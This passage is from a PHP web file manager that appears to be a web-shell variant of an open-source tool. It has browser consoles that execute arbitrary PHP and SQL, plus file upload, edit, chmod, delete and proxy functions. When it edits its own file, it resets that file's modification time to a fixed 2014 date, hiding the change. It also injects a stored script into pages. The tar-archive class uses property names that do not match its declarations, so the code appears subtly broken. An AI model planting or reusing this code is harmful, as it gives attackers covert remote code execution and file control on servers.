<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fmo_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>

<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fmo_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>

<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fmo_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>

<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fmo_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>

'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'

'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'

'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'

'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'

'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'

<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>

</form>

</table>

<table>

<form method="post" action="">

<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>

<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_mydevice['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>

<tr><td class="row1"><input name="fm_login[login]" value="'.$auth_mydevice['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>

<tr><td class="row1"><input name="fm_login[password]" value="'.$auth_mydevice['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>

<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_mydevice['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>

<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_mydevice['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>

<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_mydevice['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>

</form>

</table>';

echo fm_tpl_form('php'),fm_tpl_form('sql');

} elseif (isset($proxy_form)) {

	die($proxy_form);

} elseif (isset($res_lng)) {	

?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php

	if($res_lng=='sql') echo ' - Database: '.$fmo_config['sql_db'].'</h2></td><td>'.fm_run_input('php');

	else echo '</h2></td><td>'.fm_run_input('sql');

	?></td></tr></table></td>

</tr>

<tr>

                        <td class="row1">

		        <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>

		        <form action="" method="POST" name="console">

		        <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>

		        <input type="reset" value="<?=__('Reset')?>">

		        <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">

<?php
$str_tmpl = $res_lng.'_templates';

$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';

if (!empty($tmpl)){

	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';

	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";

	$select .= '<option value="-1">' . __('Select') . "</option>\n";

	foreach ($tmpl as $key=>$value){

		        $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";

	}

	$select .= "</select>\n";

	echo $select;

}

?>
		        </form>

	</td>

</tr>

</table>

<?php
	if (!empty($res)) {

		        $fun='fm_'.$res_lng;

		        echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';

	}

} elseif (!empty($_REQUEST['edit'])){

	if(!empty($_REQUEST['save'])) {

		        $fn = $path . $_REQUEST['edit'];

		        $filemtime = filemtime($fn);

	                        if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_now .= __('File updated');

		        else $msg_now .= __('Error occurred');

		        if ($_GET['edit']==basename(__FILE__)) {

                                 touch(__FILE__,1415116371);

		        } else {

                                 if (!empty($fmo_config['restore_time'])) touch($fn,$filemtime);

		        }

	}

                        $oldcontent = @file_get_contents($path . $_REQUEST['edit']);

                        $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;

?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">

<tr>

                        <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$editlink?>">

                                                                        <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                                        <input type="submit" name="cancel" value="<?=__('Cancel')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
echo $auth_mydevice['script'];

} elseif(!empty($_REQUEST['rights'])){

	if(!empty($_REQUEST['save'])) {

	                        if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))

		        $msg_now .= (__('File updated')); 

		        else $msg_now .= (__('Error occurred'));

	}

	clearstatcache();

                        $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);

                        $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$link?>">

                                                   <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">

                                                <?php if (is_dir($path.$_REQUEST['rights'])) { ?>

                                                                        <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>

                                                <?php } ?>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {

	if(!empty($_REQUEST['save'])) {

	                        rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);

		        $msg_now .= (__('File updated'));

		        $_REQUEST['rename'] = $_REQUEST['newname'];

	}

	clearstatcache();

                        $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;


?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$link?>">

                                                                        <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
} else {

//Let's rock!

                        $msg_now = '';

                        if(!empty($_FILES['upload'])&&!empty($fmo_config['upload_file'])) {

                                                if(!empty($_FILES['upload']['name'])){

                                                                        $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

                                                                        if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){

                                                                                                $msg_now .= __('Error occurred');

                                                                        } else {

                                 	$msg_now .= __('Files uploaded').': '.$_FILES['upload']['name'];

                                 }

                                                }

                        } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {

                                                if(!fm_del_files(($path . $_REQUEST['delete']), true)) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 $msg_now .= __('Deleted').' '.$_REQUEST['delete'];

		        }

	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fmo_config['make_directory'])) {

                                                if(!@mkdir($path . $_REQUEST['dirname'],0777)) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 $msg_now .= __('Created').' '.$_REQUEST['dirname'];

		        }

                        } elseif(!empty($_POST['search_recursive'])) {

		        ini_set('max_execution_time', '0');

		        $search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		        if(!empty($search_data)) {

                                 $msg_now .= __('Found in files').' ('.count($search_data).'):<br>';

                                 foreach ($search_data as $filename) {

                                 	$msg_now .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

                                 }

		        } else {

                                 $msg_now .= __('Nothing founded');

		        }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fmo_config['new_file'])) {

                                                if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 fclose($fp);

                                 $msg_now .= __('Created').' '.$_REQUEST['filename'];

		        }

                        } elseif (isset($_GET['zip'])) {

		        $source = base64_decode($_GET['zip']);

		        $destination = basename($source).'.zip';

		        set_time_limit(0);

		        $phar = new PharData($destination);

		        $phar->buildFromDirectory($source);

		        if (is_file($destination))

		        $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		        '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		        .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		        else $msg_now .= __('Error occurred').': '.__('no files');

	} elseif (isset($_GET['gz'])) {

		        $source = base64_decode($_GET['gz']);

		        $archive = $source.'.tar';

		        $destination = basename($source).'.tar';

		        if (is_file($archive)) unlink($archive);

		        if (is_file($archive.'.gz')) unlink($archive.'.gz');

		        clearstatcache();

		        set_time_limit(0);

		        //die();

		        $phar = new PharData($destination);

		        $phar->buildFromDirectory($source);

		        $phar->compress(Phar::GZ,'.tar.gz');

		        unset($phar);

		        if (is_file($archive)) {

                                 if (is_file($archive.'.gz')) {

                                 	unlink($archive); 

                                 	$destination .= '.gz';

                                 }


                                 $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

                                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

                                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		        } else $msg_now .= __('Error occurred').': '.__('no files');

	} elseif (isset($_GET['decompress'])) {

		        // $source = base64_decode($_GET['decompress']);

		        // $destination = basename($source);

		        // $ext = end(explode(".", $destination));

		        // if ($ext=='zip' OR $ext=='gz') {

                                 // $phar = new PharData($source);

                                 // $phar->decompress();

                                 // $base_file = str_replace('.'.$ext,'',$destination);

                                 // $ext = end(explode(".", $base_file));

                                 // if ($ext=='tar'){

                                 	// $phar = new PharData($base_file);

                                 	// $phar->extractTo(dir($source));

                                 // }

		        // } 

		        // $msg_now .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		        $source = base64_decode($_GET['gzfile']);

		        $archive = $source.'.tar';

		        $destination = basename($source).'.tar';

		        if (is_file($archive)) unlink($archive);

		        if (is_file($archive.'.gz')) unlink($archive.'.gz');

		        set_time_limit(0);

		        //echo $destination;

		        $ext_arr = explode('.',basename($source));

		        if (isset($ext_arr[1])) {

                                 unset($ext_arr[0]);

                                 $ext=implode('.',$ext_arr);

		        } 

		        $phar = new PharData($destination);

		        $phar->addFile($source);

		        $phar->compress(Phar::GZ,$ext.'.tar.gz');

		        unset($phar);

		        if (is_file($archive)) {

                                 if (is_file($archive.'.gz')) {

                                 	unlink($archive); 

                                 	$destination .= '.gz';

                                 }

                                 $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

                                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

                                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		        } else $msg_now .= __('Error occurred').': '.__('no files');

	}

?>
<table class="whole" id="header_table" >

<tr>

                        <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>

</tr>

          <?php if(!empty($msg_now)){ ?>
<tr>

	<td colspan="2" class="row2"><?=$msg_now?></td>

</tr>

<?php } ?>
<tr>

                        <td class="row2">

		        <table>

                                 <tr>

                                 <td>

                                 	<?=fm_home()?>

                                 </td>

                                 <td>

                                 <?php if(!empty($fmo_config['make_directory'])) { ?>

                                 	<form method="post" action="<?=$url_inc?>">

                                 	<input type="hidden" name="path" value="<?=$path?>" />

                                 	<input type="text" name="dirname" size="15">

                                 	<input type="submit" name="mkdir" value="<?=__('Make directory')?>">

                                 	</form>

                                 <?php } ?>

                                 </td>

                                 <td>

                                 <?php if(!empty($fmo_config['new_file'])) { ?>

                                 	<form method="post" action="<?=$url_inc?>">

                                 	<input type="hidden" name="path"                         value="<?=$path?>" />

                                 	<input type="text"   name="filename" size="15">

                                 	<input type="submit" name="mkfile"   value="<?=__('New file')?>">

                                 	</form>

                                 <?php } ?>

                                 </td>

                                 <td>

                                 	<form  method="post" action="<?=$url_inc?>" style="display:inline">

                                 	<input type="hidden" name="path" value="<?=$path?>" />

                                 	<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">

                                 	<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">

                                 	<input type="submit" name="search" value="<?=__('Search')?>">

                                 	</form>

                                 </td>

                                 <td>

                                 <?=fm_run_input('php')?>

                                 </td>

                                 <td>

                                 <?=fm_run_input('sql')?>

                                 </td>

                                 </tr>

		        </table>

                        </td>

                        <td class="row3">

		        <table>

		        <tr>

		        <td>

		        <?php if (!empty($fmo_config['upload_file'])) { ?>

                                 <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">

                                 <input type="hidden" name="path" value="<?=$path?>" />

                                 <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

                                 <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />

                                 <input type="submit" name="test" value="<?=__('Upload')?>" />

                                 </form>

		        <?php } ?>

		        </td>

		        <td>

		        <?php if ($auth_mydevice['authorize']) { ?>

                                 <form action="" method="post">&nbsp;&nbsp;&nbsp;

                                 <input name="quit" type="hidden" value="1">

                                 <?=__('Hello')?>, <?=$auth_mydevice['login']?>

                                 <input type="submit" value="<?=__('Quit')?>">

                                 </form>

		        <?php } ?>

		        </td>

		        <td>

		        <?=fm_lang_form($language_benros)?>

		        </td>

		        <tr>

		        </table>

                        </td>

</tr>

</table>

<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">

<thead>

<tr> 

                        <th style="white-space:nowrap"> <?=__('Filename')?> </th>

                        <th style="white-space:nowrap"> <?=__('Size')?> </th>

                        <th style="white-space:nowrap"> <?=__('Date')?> </th>

                        <th style="white-space:nowrap"> <?=__('Rights')?> </th>

                        <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>

</tr>

</thead>

<tbody>

<?php
$elements = fm_scan_dir($path, '', 'all', true);

$dirs = array();

$file_entries = array();

foreach ($elements as $file){

                        if(@is_dir($path . $file)){

                                                $dirs[] = $file;

                        } else {

                                                $file_entries[] = $file;

                        }

}

natsort($dirs); natsort($file_entries);

$elements = array_merge($dirs, $file_entries);


foreach ($elements as $file){

                        $filename = $path . $file;

                        $filedata = @stat($filename);

                        if(@is_dir($filename)){

		        $filedata[7] = '';

		        if (!empty($fmo_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);

                                                $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

                                                $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);

		        $arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);

                                                $style = 'row2';

		         if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';

                        } else {

		        $link = 

                                 $fmo_config['show_img']&&@getimagesize($filename) 

                                 ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''

                                 . fm_img_link($filename)

                                 .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'

                                 : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

		        $e_arr = explode(".", $file);

		        $ext = end($e_arr);

                                                $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);

		        $arlink = in_array($ext,array('zip','gz','tar')) 

		        ? ''

		        : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));

                                                $style = 'row1';

		        $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';

                        }

                        $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

                        $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';

                        $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';

?>
<tr class="<?=$style?>"> 

                        <td><?=$link?></td>

                        <td><?=$filedata[7]?></td>

                        <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>

                        <td><?=$rightstext?></td>

                        <td><?=$deletelink?></td>

                        <td><?=$renamelink?></td>

                        <td><?=$loadlink?></td>

                        <td><?=$arlink?></td>

</tr>

<?php
                        }

}

?>
</tbody>

</table>

<div class="row3"><?php

	$mtime = explode(' ', microtime()); 

	$totaltime = $mtime[0] + $mtime[1] - $startororimy; 

	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';

	if (!empty($fmo_config['show_php_ver'])) echo ' | PHP '.phpversion();

	if (!empty($fmo_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();

	if (!empty($fmo_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);

	if (!empty($fmo_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';

	if (!empty($fmo_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';

	if (!empty($fmo_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';

	if (!empty($fmo_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';

	?>

</div>

<script type="text/javascript">

function download_xls(filename, text) {

	var element = document.createElement('a');

	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);

	element.setAttribute('download', filename);

	element.style.display = 'none';

	document.body.appendChild(element);

	element.click();

	document.body.removeChild(element);

}


function base64_encode(m) {

	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {

		        c = m.charCodeAt(l);

		        if (128 > c) d = 1;

		        else

                                 for (d = 2; c >= 2 << 5 * d;) ++d;

		        for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])

	}

	b && (g += k[f << 6 - b]);

	return g

}



var tableToExcelData = (function() {

                        var uri = 'data:application/vnd.ms-excel;base64,',

                        template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',

                        format = function(s, c) {

                                                                        return s.replace(/{(\w+)}/g, function(m, p) {

                                                                                                return c[p];

                                                                        })

                                                }

                        return function(table, name) {

                                                if (!table.nodeType) table = document.getElementById(table)

                                                var ctx = {

                                                                        worksheet: name || 'Worksheet',

                                                                        table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")

                                                }

		        t = new Date();

		        filename = 'fm_' + t.toISOString() + '.xls'

		        download_xls(filename, base64_encode(format(template, ctx)))

                        }

})();


var table2Excel = function () {


                        var ua = window.navigator.userAgent;

                        var msie = ua.indexOf("MSIE ");


	this.CreateExcelSheet = 

		        function(el, name){

                                 if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer


                                 	var x = document.getElementById(el).rows;


                                 	var xls = new ActiveXObject("Excel.Application");


                                 	xls.visible = true;

                                 	xls.Workbooks.Add

                                 	for (i = 0; i < x.length; i++) {

                                 		        var y = x[i].cells;


                                 		        for (j = 0; j < y.length; j++) {

                                                                  xls.Cells(i + 1, j + 1).Value = y[j].innerText;

                                 		        }

                                 	}

                                 	xls.Visible = true;

                                 	xls.UserControl = true;

                                 	return xls;

                                 } else {

                                 	tableToExcelData(el, name);

                                 }

		        }

}

</script>

</body>

</html>


<?php
//Ported from ReloadCMS project http://reloadcms.com

class archiveTar {

	var $compressed_file_archive = '';

	var $temp_file_handler = 0;

	var $file_position_pointer = 0;

	var $gzip_compression_status = true;

	var $list_of_errors = array();

	var $file_entries = array();

	
	function __construct(){

		        if (!isset($this->errors)) $this->errors = array();

	}

	
	function buildCompressedArchive($file_list){

		        $result = false;

		        if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;

		        else $newArchive = true;

		        if ($newArchive){

                                 if (!$this->initializeWriteOperation()) return false;

		        } else {

                                 if (filesize($this->archive_name) == 0)	return $this->initializeWriteOperation();

                                 if ($this->isGzipped) {

                                 	$this->finalizeTempFileHandler();

                                 	if (!rename($this->archive_name, $this->archive_name.'.tmp')){

                                 		        $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';

                                 		        return false;

                                 	}

                                 	$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');

                                 	if (!$tmpArchive){

                                 		        $this->errors[] = $this->archive_name.'.tmp '.__('is not readable');

                                 		        rename($this->archive_name.'.tmp', $this->archive_name);

                                 		        return false;

                                 	}

                                 	if (!$this->initializeWriteOperation()){

                                 		        rename($this->archive_name.'.tmp', $this->archive_name);

                                 		        return false;

                                 	}

                                 	$buffer = gzread($tmpArchive, 512);

                                 	if (!gzeof($tmpArchive)){

                                 		        do {

                                                                  $binaryData = pack('a512', $buffer);

                                                                  $this->writeBlockToData($binaryData);

                                                                  $buffer = gzread($tmpArchive, 512);

                                 		        }

                                 		        while (!gzeof($tmpArchive));

                                 	}

                                 	gzclose($tmpArchive);

                                 	unlink($this->archive_name.'.tmp');

                                 } else {

                                 	$this->tmp_file = fopen($this->archive_name, 'r+b');

                                 	if (!$this->tmp_file)	return false;

                                 }

		        }

		        if (isset($file_list) && is_array($file_list)) {

		        if (count($file_list)>0)

                                 $result = $this->packFilesIntoArchive($file_list);

		        } else $this->errors[] = __('No file').__(' to ').__('Archive');

		        if (($result)&&(is_resource($this->tmp_file))){

                                 $binaryData = pack('a512', '');

                                 $this->writeBlockToData($binaryData);

		        }

		        $this->finalizeTempFileHandler();

		        if ($newArchive && !$result){

		        $this->finalizeTempFileHandler();

		        unlink($this->archive_name);

		        }

		        return $result;

	}


	function unpackCompressedArchive($path){

		        $fileName = $this->archive_name;

		        if (!$this->isGzipped){

                                 if (file_exists($fileName)){

                                 	if ($fp = fopen($fileName, 'rb')){

                                 		        $data = fread($fp, 2);

                                 		        fclose($fp);

                                 		        if ($data == '\37\213'){

                                                                  $this->isGzipped = true;

                                 		        }

                                 	}

                                 }

                                 elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;

		        } 

		        $result = true;

		        if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');

		        else $this->tmp_file = fopen($fileName, 'rb');

		        if (!$this->tmp_file){

                                 $this->errors[] = $fileName.' '.__('is not readable');

                                 return false;

		        }

		        $result = $this->unpackFilesIntoArchive($path);

                                 $this->finalizeTempFileHandler();

		        return $result;

	}


	function displayAllErrors	($message = '') {

		        $Errors = $this->errors;

		        if(count($Errors)>0) {

		        if (!empty($message)) $message = ' ('.$message.')';

                                 $message = __('Error occurred').$message.': <br/>';

                                 foreach ($Errors as $value)

                                 	$message .= $value.'<br/>';

                                 return $message;	

		        } else return '';

		        
	}

	
	function packFilesIntoArchive($file_array){

		        $result = true;

		        if (!$this->tmp_file){

                                 $this->errors[] = __('Invalid file descriptor');

                                 return false;

		        }

		        if (!is_array($file_array) || count($file_array)<=0)

                                                  return true;

		        for ($i = 0; $i<count($file_array); $i++){

                                 $filename = $file_array[$i];

                                 if ($filename == $this->archive_name)

                                 	continue;

                                 if (strlen($filename)<=0)

                                 	continue;

                                 if (!file_exists($filename)){

                                 	$this->errors[] = __('No file').' '.$filename;

                                 	continue;

                                 }

                                 if (!$this->tmp_file){

                                 $this->errors[] = __('Invalid file descriptor');

                                 return false;

                                 }

		        if (strlen($filename)<=0){

                                 $this->errors[] = __('Filename').' '.__('is incorrect');;

                                 return false;

		        }

		        $filename = str_replace('\\', '/', $filename);

		        $keep_filename = $this->createValidFilePath($filename);

		        if (is_file($filename)){

                                 if (($file = fopen($filename, 'rb')) == 0){

                                 	$this->errors[] = __('Mode ').__('is incorrect');

                                 }

                                 	if(($this->file_pos == 0)){

                                 		        if(!$this->writeHeaderToArchive($filename, $keep_filename))

                                                                  return false;

                                 	}

                                 	while (($buffer = fread($file, 512)) != ''){

                                 		        $binaryData = pack('a512', $buffer);

                                 		        $this->writeBlockToData($binaryData);

                                 	}

                                 fclose($file);

		        }	else $this->writeHeaderToArchive($filename, $keep_filename);

                                 if (@is_dir($filename)){

                                 	if (!($handle = opendir($filename))){

                                 		        $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');

                                 		        continue;

                                 	}

                                 	while (false !== ($dir = readdir($handle))){

                                 		        if ($dir!='.' && $dir!='..'){

                                                                  $file_array_tmp = array();

                                                                  if ($filename != '.')

                                                                  	$file_array_tmp[] = $filename.'/'.$dir;

                                                                  else

                                                                  	$file_array_tmp[] = $dir;


                                                                  $result = $this->packFilesIntoArchive($file_array_tmp);

                                 		        }

                                 	}

                                 	unset($file_array_tmp);

                                 	unset($dir);

                                 	unset($handle);

                                 }

		        }

		        return $result;

	}


	function unpackFilesIntoArchive($path){ 

		        $path = str_replace('\\', '/', $path);

